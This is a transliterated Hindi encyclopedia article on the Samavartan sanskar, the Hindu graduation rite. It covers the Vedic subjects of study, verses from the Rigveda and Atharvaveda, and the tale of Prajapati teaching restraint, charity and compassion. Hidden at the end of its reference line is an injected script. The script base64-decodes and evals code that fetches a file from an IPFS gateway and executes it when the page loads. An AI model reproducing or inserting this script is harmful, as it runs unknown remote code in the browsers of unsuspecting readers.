समावर्तन संस्कार
- hindoo dharm sanskaroan mean samavartan sanskar dvadash sanskar hai. yah sanskar vidyadhyayanan poorn ho jane par kiya jata hai. prachin parampara mean barah varsh tak acharyakul ya gurukul mean rahakar vidyadhyayan parisamapt ho jane par achary svayan shishyoan ka samavartan-sanskar karate the. us samay ve apane shishyoan ko grihasth-sambandhi shrutisammat kuchh adarshapoorn upadesh dekar grihasthashram mean pravesh ke lie prerit karate the.
- jin vidyaoan ka adhyayan karana p data tha, ve charoan ved haian -
- vedant mean shiksha, kalp, vyakaran, nirukt, chhand aur jyotishashastran.
- upaved mean atharvaved, dhanurved, gandharvaved, ayurved adi.
- brahmanagranthoan mean shatapathabrahman, aitareyabrahman, tandyabrahman aur gopathabrahman adi.
- upagoan mean poorvamimaansa, vaisheshikashastr, nyay (tarkashastr), yogashastr, saankhyashastr aur vedantashastr adi.
brahmacharyavrat ke samapan v vidyarthijivan ke aant ke soochak ke rup mean samavartan (upadesh)-sanskar kiya jata hai, jo sadharanataya 25 varsh ki ayu mean hota hai. is sanskar ke madhyam se guru-shishy ko iandriy nigrahadan, daya aur manavakalyan ki shiksha deta hai. rrigved mean likha hai -
yuva suvasaah parivit agath s u shreyanh bhavati jayamanah.
tan dhirasah kavay unnayanti svadhyoan 3 manasa devayantah..[1]
arthat yuva purush uttam vastroan ko dharan kie hue, upavit (brahmachari) sab vidya se prakashit jab grihashram mean ata hai, tab vah prasiddh hokar shrey mangalakari shobhayukt hota hai. usako dhir, buddhiman, viddhan, achchhe dhyanayukt man se vidya ke prakash ki kamana karate hue, ooanche pad par baithate haian.
25 varsh ki avastha tak brahmacharyapoorvaj gurukul mean rahakar, guru se samast ved-vedagoan ki shiksha prapt karake, shishy jab guru ki kasauti par khara utar jata th, tab guru usaki shiksha poorn hone ke pratikasvaroop usaka samavartan-sanskar karate the. yah sanskar ek ya anek shishyoan ka ek sath bhi hota tha. vartaman yug mean bhi yah sanskar vishvavidyalayoan mean hota hai, kiantu usaka rup v uddeshy badal gaya hai.
prachinakal mean samavartan-sanskar dvara guru apane shishy ko iandriyanigrah, dan, daya aur manavakalyan ki shiksha dekar use grihasth-ashram mean pravesh karane ki anumati pradan karate the. ve kahate the. uttishth, jagrat, prapy varannibodhak..... arthat utho, jago aur chhure ki dhar se bhi tikhe jivan ke shreshth path ko par karo.[1]
atharvaved 11/7/26 mean kaha gaya hai ki-brahmachari samast dhatuoan ko dharan kar samudr ke saman jnan mean ganbhir salil jivanadhar prabhu ke anand ras mean vibhor hokar tapasvi hota hai. vah snatak hokar namr, shaktiman aur piangal diptiman banakar prithvi par sushobhit hota hai.
katha
is samavartan-sanskar ke sanbadh mean katha prachalit hai- ek bar devata, manushy aur asur tinoan hi brahmaji ke pas brahmacharyapoorvak vidyadhyayan karane lage. kuchh kal bit jane par unhoanne brahmaji se upadesh (samavartan) grahan karane ki ichchha vyakt ki. sabase pahale devataoan ne kaha-prabhoan! hamean upadesh dijie. prajapati ne ek hi akshar kah diya d. is par devataoan ne kaha-ham samajh ge. hamare svargadi lokoan mean bhoango ki hi bharamar hai. unamean lipt hokar ham aant mean svarg se gir jate haian, atev ap hamean d se daman arthat iandriyasayanm ka upadesh kar rahe hai. tab prajapati brahma ne kaha-thik hai, tum samajh ge. phir manushyoan ko bhi d akshar diya gay, to unhoanne kaha-hamean d se dan karane ka upadesh diya hai, kyoanki ham log jivan bhar sangrah karane ki hi lipsa mean lage rahate haian. atev hamara dan mean hi kalyan hai. prajapati is javab se santusht hue. asuroan ko bhi brahma ne upadesh mean akshar hi diya. asuroan ne socha-hamara svabhav hiansak hai aur krodh v hiansa hamare dainik jivan mean vyapt hai, to nishchy hi hamare kalyan ke lie daya hi ekamatr marg hoga. daya se hi ham in dushkarmoan ko chho dakar pap se mukt ho sakate haian. is prakar hamean d se daya arthat prani-matr par daya karane ka upadesh diya hai. brahma ne kaha-thik hai, tum samajh ge. nishchy hi daman, dan aur daya jaise upadesh ko pratyek manushy ko sikhakar apanan unnati ka marg hoga.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 samavartan (upadesh)-sanskar (hindi) (e.es.pi) pooja vidhi. abhigaman tithi: 17 faravari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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